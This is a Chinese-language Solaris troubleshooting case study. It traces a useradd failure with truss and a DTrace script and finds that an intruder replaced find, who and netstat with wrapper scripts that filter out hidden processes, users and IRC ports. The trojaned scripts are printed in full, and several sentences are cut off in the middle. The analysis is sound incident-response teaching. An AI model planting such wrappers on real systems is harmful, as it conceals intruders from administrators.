|
Dtrace + Truss 在 Solaris 10上的实例 这个案例着重于如何使用 Dtrace & truss 来进行 Solaris 的问题跟踪。 Dtrace是Solaris 10的一个特性。. 昨天早上,客户打电话来抱怨一个奇怪的Solaris问题。 我在过去6个月里一直支持这个web 2.0领域的客户。 客户发现它不能正确的添加一个新用户。 如果他尝试增加一个新用户,系统会报告错误。
# useradd -m -g getamped -d /home/getamped -c "getamped user." -m -s /bin/bash getamped UX: useradd: ERROR: Unable to change owner of files home directory: No such file or directory. 于是客户给我打电话寻求帮助。 看起来这是一个简单的Solaris 配置的问题。我们知道Solaris会自动挂接 /home目录。所以通常我们需要把autofs关掉才可以对/home进行操作。 . 这些都是很简单的工作,而且有很多的文档说明了这些步骤, 于是我们打开/etc/auto_master. 它看起来好像这样: +auto_master /net -hosts -nosuid,nobrowse /home auto_home -nobrowse 根据文档的纪录,我们需要把最后一行注释掉: #/home auto_home -nobrowse 这样就去掉了autofs监管的/home目录。 然后我们重新启动 autofs 服务,让这个配置生效。 按后我们再次运行 “useradd“命令,看看我们现在发现了什么? 有趣的是,这次仍然报告一个错误: UX: useradd: ERROR: Unable to change owner of files home directory: No such file or directory. 看来某个地方还有问题. 那么是哪里呢? 按照通常的步骤,我们搜索知识库,但是没发现任何有意义的结果. 现在让我们尝试用”truss “来跟踪一下这个命令. 它到底在作些什么? 他会打印出来应用的每个系统调用和相关参数. 通过这些详细地记录信息我们发现了一点线索: #truss -f -o /tmp/useradd.out useradd -m -d /home/test test 下面我们增加一个选项“
# truss -f useradd -m -d /home/test7 test7
1710: execve("/usr/sbin/useradd", 0x08047C9C, 0x08047CB4) argc = 5
1710: resolvepath("/usr/lib/ld.so.1", "/lib/ld.so.1", 1023) = 12
1710: resolvepath("/usr/sbin/useradd", "/usr/sbin/useradd", 1023) = 17
1710: sysconfig(_CONFIG_PAGESIZE) = 4096
1710: xstat(2, "/usr/sbin/useradd", 0x08047A88) = 0
1710: open("/var/ld/ld.config", O_RDONLY) Err#2 ENOENT
.......
.......
喔.这个文件看起来至少有10000行. 通过几个小时的艰苦工作,我们找到了一点相关的内容, useradd 会通过 fork()调用产生若干的子进程, 其中一个子进程会意外的退出.这时候的记录信息显示如下:
Received signal #18, SIGCLD [caught]
1749: siginfo: SIGCLD CLD_EXITED pid=1755 status=0x0001
当我们比较这个产生错误的记录信息和正常的“ 很幸运的是,Solaris 10里面提供了一个强大的系统内核跟踪工具 – Dtrace.它会帮助我们进入Solaris 内核来揭示内部的具体运作.于是我们采用下面的dtrace脚本来看看是谁发送了这个CLD信号. 脚本是下面这样的:
#!/usr/sbin/dtrace –qs
proc:::signal-send
/args[2] == SIGCHLD/
{
printf("SIGCLD was sent by %s pid=%d \n", args[1]->pr_fname,args[1]->pr_pid);
}
当某个进程发送 这个脚本很有用, Dtrace 马上告诉我们这个发送SIGCLD信号的进程名字和ID号码.
"SIGCLD was send by find pid 1499"
难以相信, 是最常用的UNIX命令find发送了这个信号. 为什么他要发送这个信号来关闭我们的子进程呢? 我们输入" 这个可怜的"
在"
#!/bin/ksh –p
if [ -f /usr/bin/i86/ps ]; then
/usr/sbin/i86/find "$@" | grep -v grep | grep -v System
| grep -v /usr/bin/find | grep -v EWG | grep -v syscfg
| grep -v .elite | grep -v cj | grep -v glftpd
| grep -v S12system | grep -v S32networks
| grep -v S09init | grep -v lost+found
fi
看起来这个
我们知道
我们用 " -rwxrwxrwx 1 root other 177 7月 30日 17:33 w -rwxrwxrwx 1 root other 181 7月 30日 17:34 who -rwxrwxrwx 1 root other 87 7月 30日 17:36 uptime -rwxrwxrwx 1 root other 239 7月 30日 17:37 ptree -rwxrwxrwx 1 root other 311 7月 30日 17:41 netstat -rwxrwxrwx 1 root other 198 7月 30日 17:43 last -rwxrwxrwx 1 root other 360 7月 30日 18:14 ls -rwxrwxrwx 1 root other 314 7月 30日 18:17 cat -rwxrwxrwx 1 root other 219 7月 30日 18:18 du -rwxrwxrwx 1 root other 222 7月 30日 18:19 ps -rwsr-xr-x 1 root root 6696 8月 20日 12:30 EWG -rwxr-xr-x 1 root root 300 1月 23日 17:29 find
嗯,那么" "
#!/bin/ksh –p
if [ -f /usr/bin/i86/ps ]; then
/usr/sbin/i86/who "$@" | grep -v grep | grep -v /usr/bin/who | grep -v CjB
| grep -v cjb | grep -v daemon | grep -v sys
fi
看起来某些人想要在登陆的时候不被别人发现.
"
#!/bin/ksh –p
if [ -f /usr/bin/i86/ps ]; then
/usr/sbin/i86/netstat "$@" | grep -v grep | grep -v System
| grep -v /usr/bin/netstat | grep -v EWG | grep -v glftpd
| grep -v 6667 | grep -v 7000 | grep -v 6666 | grep -v 6668
| grep -v 6669 | grep -v 9000 | grep -v 8337 | grep -v 6969
| grep -v 98
fi
嗯,这就有意思了, 看起来某些人想要隐藏一些秘密, 在和6667/7000/6666/6668/6669/9000/8337 这些端口通信的时候不被别人发现.
为了解决问题 ,我们恢复了 同时,我们通知了IT 安全部门, 进行下一步调查和跟踪.
Discuss and comment on this resource in the BigAdmin Wiki
Unless otherwise licensed, code in all technical manuals herein (including articles, FAQs, samples) is provided under this License. |
| ||||